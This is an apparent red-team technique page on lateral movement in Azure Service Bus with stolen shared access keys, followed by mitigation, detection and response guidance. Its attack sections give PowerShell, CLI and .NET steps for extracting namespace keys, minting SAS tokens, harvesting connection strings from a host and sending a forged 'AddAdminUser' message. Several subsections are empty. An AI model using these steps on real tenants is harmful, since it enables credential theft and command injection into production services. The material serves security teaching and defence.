MCADDF

[LM-AUTH-038]: Service Bus Shared Access Key

Metadata

Attribute Details
Technique ID LM-AUTH-038
Technique Name Service Bus Shared Access Key
File Path 07_Lateral/LM-AUTH-038_ServiceBus.md
MITRE ATT&CK v18.1 T1550 – Use Alternate Authentication Material
Tactic Lateral Movement
Platforms Entra ID, Azure Service Bus (PaaS), Azure workloads consuming Service Bus
Severity High
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure Service Bus Standard/Premium namespaces; .NET/Java/Node.js SDKs using SAS authentication
Patched In N/A – architectural/operational risk, mitigated via Entra ID auth and key hygiene, not a patch
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark CIS Azure 1.4 – 3.1, 3.2 Secure management of secrets, use of managed identities instead of long‑lived keys for PaaS messaging.
DISA STIG APP3560 / APP3550 (conceptual) Application use of strong authentication and least privilege for external services.
CISA SCuBA SCB‑AZ‑IA‑1, SCB‑AZ‑IA‑3 Use identity‑based auth instead of static keys; enforce least‑privilege access for cloud messaging.
NIST 800‑53 AC‑3, AC‑6, IA‑5, SC‑12 Access enforcement, least privilege, credential management and key protection for messaging fabrics.
GDPR Art. 32 Integrity and confidentiality of processing; compromise of message bus may expose personal data.
DORA Art. 9, 10 ICT security, dependency and third‑party risk – compromise of integration bus impacts critical services.
NIS2 Art. 21 Technical measures for access control, secure communications, and incident handling in essential services.
ISO 27001 A.9.2.3, A.10.1, A.12.6 Management of privileged access, cryptographic controls, mitigation of technical vulnerabilities.
ISO 27005 Risk Scenario “Compromise of cloud message bus enables unauthorized commands and data exfiltration across services.”

5. DETAILED EXECUTION METHODS AND THEIRS STEPS

METHOD 1 – Using a Stolen Namespace‑Level Shared Access Key from a Compromised Workload

Supported Versions: Azure Service Bus Standard/Premium, all current SDKs (.NET, Java, Node.js, Python) using SAS.

Step 1: Identify and Extract Service Bus Shared Access Key

Objective: Locate a Service Bus Shared Access Authorization Rule key that grants Send, Listen or Manage rights on a namespace or entity.

Version Note: Key handling is consistent across Service Bus versions; differences are mostly in management UI/SDKs, not in the key format.[3][6][12]

Commands (examples):

PowerShell (run on compromised admin/dev workstation or runbook that has Microsoft.ServiceBus/namespaces/authorizationRules/listKeys/action):

# List authorization rules on a namespace
Get-AzServiceBusAuthorizationRule -ResourceGroupName "RG" -Namespace "sb-prod" |
  Select-Object Name, Rights

# Retrieve keys for a specific rule (for example, RootManageSharedAccessKey)
$keys = Get-AzServiceBusKey -ResourceGroupName "RG" -Namespace "sb-prod" `
  -Name "RootManageSharedAccessKey"
$keys.PrimaryKey
$keys.SecondaryKey

Azure CLI (if attacker has CLI access with appropriate RBAC):

az servicebus namespace authorization-rule keys list \
  --resource-group RG \
  --namespace-name sb-prod \
  --name RootManageSharedAccessKey \
  --query "primaryKey" -o tsv

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 2: Generate a SAS Token with the Stolen Key

Objective: Use the shared access key to create a Shared Access Signature (SAS) token that can authenticate to Service Bus as the target authorization rule.

Version Note: Token format is stable; SDK helper methods differ slightly per language.[3][6][12]

Command (.NET example):

var policyName = "RootManageSharedAccessKey";
var key = "<stolen-base64-key>";
var uri = new Uri("sb://sb-prod.servicebus.windows.net/myqueue");

var tokenProvider = 
    Microsoft.Azure.ServiceBus.Primitives.TokenProvider
        .CreateSharedAccessSignatureTokenProvider(policyName, key);

var token = await tokenProvider.GetTokenAsync(uri.AbsoluteUri, TimeSpan.FromHours(1));
Console.WriteLine(token.TokenValue);

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


Step 3: Use SAS Token to Perform Lateral Movement via Messages

Objective: Connect to the target queue/topic using the SAS token and push or read messages to pivot into other workloads.

Command (.NET receiver example – Listen right):

var connectionString =
  "Endpoint=sb://sb-prod.servicebus.windows.net/;" +
  "SharedAccessKeyName=RootManageSharedAccessKey;" +
  "SharedAccessKey=<stolen-base64-key>;";

var client = new QueueClient(connectionString, "myqueue", ReceiveMode.PeekLock);
client.RegisterMessageHandler(async (msg, ct) =>
{
    var body = Encoding.UTF8.GetString(msg.Body);
    Console.WriteLine($"[+] Received: {body}");
    await client.CompleteAsync(msg.SystemProperties.LockToken);
}, new MessageHandlerOptions(ExceptionReceivedHandler) { MaxConcurrentCalls = 5, AutoComplete = false });

Command (.NET sender example – Send right):

var messageBody = "{ \"action\": \"AddAdminUser\", \"target\": \"app-prod\" }";
var msg = new Message(Encoding.UTF8.GetBytes(messageBody))
{
    ContentType = "application/json",
    Label = "control-command"
};

await client.SendAsync(msg);

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2 – Abusing Over‑Privileged Entity‑Scoped Keys for Targeted Pivot

Supported Versions: All Azure Service Bus tiers supporting entity‑scoped authorization rules.

Step 1: Harvest Entity‑Level Keys from Application Configuration

Objective: Extract queue‑ or topic‑scoped SAS keys from application configuration (for example, appsettings.json, Key Vault references, CI/CD variables).

Command (example – search on compromised host):

grep -R "Endpoint=sb://" /var/www /app /opt -n 2>/dev/null

Typical connection string format:

Endpoint=sb://sb-prod.servicebus.windows.net/;
SharedAccessKeyName=app-worker-send;
SharedAccessKey=<base64-key>;
EntityPath=orders-queue

Expected Output:

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL – Move from SAS Keys to Entra ID‑Based Authentication

Action 1: Replace Service Bus SAS key authentication with Microsoft Entra ID (OAuth 2.0)–based access control for applications wherever feasible.

Applies To Versions: All Azure Service Bus namespaces that support Entra ID authorization.[3][12][15]

Manual Steps (Portal – high level):

  1. Go to Azure Portal → Service Bus → Your Namespace.
  2. Under Settings, open Shared access policies and review dependencies.
  3. For each critical app:
    • Register an app registration in Entra ID.
    • Grant the app the appropriate Service Bus Data Sender/Receiver/Owner RBAC roles on the namespace or specific queues/topics.
  4. Update application configuration to use Entra ID credentials (managed identity or client credentials) and remove usage of SAS keys.
  5. After all apps are migrated and validated, remove or restrict legacy SAS policies, especially RootManageSharedAccessKey.[3][12][15]

Manual Steps (PowerShell – concept):

# Assign Service Bus Data Sender role to a managed identity
$sp = Get-AzADServicePrincipal -DisplayName "app-prod-worker"
New-AzRoleAssignment -ObjectId $sp.Id `
  -RoleDefinitionName "Azure Service Bus Data Sender" `
  -Scope "/subscriptions/<sub>/resourceGroups/RG/providers/Microsoft.ServiceBus/namespaces/sb-prod"

Action 2: Enforce Strict Least‑Privilege on Authorization Rules

Manual Steps (Portal):

  1. For each namespace, open Shared access policies.
  2. Eliminate broad Manage policies where not strictly required; prefer entity‑scoped rules with only Send or Listen rights.
  3. Ensure no consumer application holds both Send and Listen unless functionally necessary.

Manual Steps (ARM / PowerShell):


Priority 2: HIGH – Secure Storage and Rotation of Keys

Action: Store any remaining keys in Azure Key Vault, rotate regularly, and monitor usage.

Manual Steps (Key Vault):

  1. Create or select a Key Vault.
  2. Add Service Bus keys as secrets; configure Key Rotation policies aligned to risk (for example, 30–60 days).
  3. Replace hard‑coded connection strings with Key Vault references (Functions, App Service, Logic Apps) or DefaultAzureCredential patterns to avoid handling secrets directly.[7][10][13][14]

Validation Command (Verify Fix):

# Example: verify no Service Bus connection strings present in code repo
rg "Endpoint=sb://" . -g

Expected Output (If Secure):

What to Look For:


Access Control & Policy Hardening

Conditional Access:

RBAC/ABAC:


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Containment – Rotate and Scope Keys
    • Immediately regenerate Service Bus keys for affected policies and, where possible, delete or reduce their scope.
    • If Entra ID auth is available, disable SAS policies after confirming all legitimate dependencies are updated.
  2. Evidence Collection
    • Export Activity Logs and Service Bus diagnostics for the suspected window.
    • Correlate listKeys, RegenerateKeys, and abnormal connection patterns with identities and IPs.
  3. Eradication and Hardening
    • Migrate remaining applications from SAS keys to Entra ID‑based access.
    • Implement CI/CD checks to block introduction of new SAS‑based connection strings into code or configuration.
  4. Recovery and Monitoring
    • Validate downstream workloads for signs of malicious messages or replayed commands.
    • Deploy or refine Sentinel analytics tracking Service Bus management operations and anomalous usage.

Step Phase Technique Description
1 Initial Access IA‑PHISH‑001 – Device code phishing attacks Compromise cloud identity used to manage or deploy Service Bus–backed workloads.
2 Privilege Escalation PE‑VALID‑010 – Azure Role Assignment Abuse Escalate to a role that can listKeys on Service Bus namespaces.
3 Current Step LM‑AUTH‑038 – Service Bus Shared Access Key Use stolen keys to pivot via Service Bus queues/topics into connected workloads.
4 Persistence PERSIST‑SERVER‑003 – Azure Function Backdoor Deploy or modify Functions triggered by Service Bus queues to maintain long‑term presence.
5 Impact COLLECT‑DATA‑001 – Azure Blob Storage Data Exfiltration Exfiltrate or manipulate data processed as a result of compromised Service Bus message flows.

17. REAL-WORLD EXAMPLES

Example 1: Misuse of SAS‑Style Keys in Cloud Messaging Environments

Example 2: Storage and Function App Lateral Movement Analogy